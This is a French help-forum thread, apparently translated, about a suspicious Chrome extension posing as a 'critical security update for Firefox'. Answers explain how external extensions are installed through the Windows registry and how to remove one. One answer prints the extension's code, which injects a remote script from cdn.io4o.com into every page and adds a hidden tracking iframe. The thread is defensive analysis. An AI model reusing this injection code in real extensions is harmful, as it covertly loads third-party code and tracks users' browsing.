6 votes

Message pop-up au lancement de Chrome : Confirmer les modifications - L'extension "Composant de sécurité de Chrome" a été ajoutée

Au lancement de Google Chrome, une petite boîte de dialogue apparaît dans le coin supérieur droit du navigateur :

Confirmer les changements

L'extension "Composant de sécurité de Chrome" a été ajoutée.

J'ai la possibilité d'appuyer sur OK ou sur Détails (je n'ai pas appuyé sur OK), mais lorsque j'appuie sur Détails, un nouvel onglet s'ouvre avec mes extensions Chrome.

Il existe une extension appelée Composant de sécurité pour Chrome 1.0 avec une coche activée à droite.

L'écriture juste en dessous de son nom dit :

Mise à jour de sécurité critique pour Firefox

Il y a 2 petites boîtes :

  • Autoriser l'incognito
  • Autoriser l'accès aux URLs

Aucune des deux cases n'est cochée.

À ma connaissance, je n'ai pas téléchargé cette extension depuis le Chrome Web Store et j'aimerais avoir des conseils ?

Est-ce que quelqu'un d'autre est tombé dessus, cela ne semble pas correct, surtout la partie disant qu'il s'agit d'une mise à jour de sécurité critique pour Firefox !

Google Chrome peut-il ajouter automatiquement des extensions si c'est pour des raisons de sécurité ?

(C'est aussi quelque chose qui est apparu très récemment lors des derniers lancements de Chrome, c'est pourquoi je suis sûr de ne pas l'avoir téléchargé comme une extension)

enter image description here

2voto

Sathyajith Bhat Points 60630

L'extension est non disponible dans le Chrome web store Le fait de voir l'icône générique du plugin Chrome et l'absence de présence dans la boutique en ligne m'incitent à penser que ce produit n'est pas légitime.

Vous devriez être en mesure de vérifier le code source de l'extension à partir de %localappdata%\Google Chrome\User Data\Default\Extensions\kfejhbidgehdoaglokpfddkmiepmhcck et examinez ce qu'il fait.

Google Chrome peut-il ajouter automatiquement des extensions si c'est pour des raisons de sécurité ?

J'ai déjà vu des applications externes installer des extensions pour Chrome (par exemple, Norton 360 qui installe son extension Protect, qui est inutile), mais ce n'est certainement pas le fait de Mozilla.

2voto

Federico Botta Points 21

Voici un peu plus d'informations sur cette extension :

Chrome Security Component

--------------------------------------
extension background.js
--------------
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo) {
    if (changeInfo.status === 'complete') {
        chrome.tabs.executeScript(tabId, {
            code: "var d = document; var js, id = 'wsk-node'; if (d.getElementById(id)) {return;}"+
                  "js = d.createElement('script'); js.id = id; js.async = true;"+
                  "js.src = '//cdn.io4o.com/js/all.js';"+
                  "d.getElementsByTagName('head')[0].appendChild(js);"
        });
    }
});

-----
//cdn.io4o.com/js/all.js
----

var host = window.location.host;

if (host != 'cdn.io4o.com') {
        var iframe = document.createElement('iframe');
        iframe.src = '//cdn.io4o.com/ga.html';
        iframe.style.width = 0;
        iframe.style.height = 0;
        iframe.style.border = 0;
        document.body.appendChild(iframe);
}

------
//cdn.io4o.com/ga.html
------

<html>
<head>
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-37051120-1']);
  _gaq.push(['_setDomainName', 'io4o.com']);

  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>
<body>
</body>
</html>

0voto

Costin Gușă Points 686

Google Chrome peut-il ajouter automatiquement des extensions si c'est pour des raisons de sécurité ?

Oui, Google Chrome autorise l'installation automatique d'extensions, mais cela n'est pas limité à des raisons de sécurité. Ce que vous avez rencontré est ce que l'on appelle extension externe .
De Site web de Google Developer

Une extension qui s'installe automatiquement est connue sous le nom d'extension externe. Google Chrome prend en charge deux méthodes d'installation des extensions externes :

Utilisation d'un fichier JSON de préférences (Mac OS X et Linux uniquement)
Utilisation du registre de Windows (Windows uniquement)

Sous Windows, ils se glissent par le biais de ces entrées de registre :

Windows 32 bits : HKEY_LOCAL_MACHINE \Software\Google\Chrome\Extensions
Windows 64 bits : HKEY_LOCAL_MACHINE \Software\Wow6432Node\Google\Chrome\Extensions

Il suffit de supprimer l'identifiant de l'extension incriminée (il apparaîtra comme une sous-clé).

SistemesEz.com

SystemesEZ est une communauté de sysadmins où vous pouvez résoudre vos problèmes et vos doutes. Vous pouvez consulter les questions des autres sysadmins, poser vos propres questions ou résoudre celles des autres.

Powered by:

X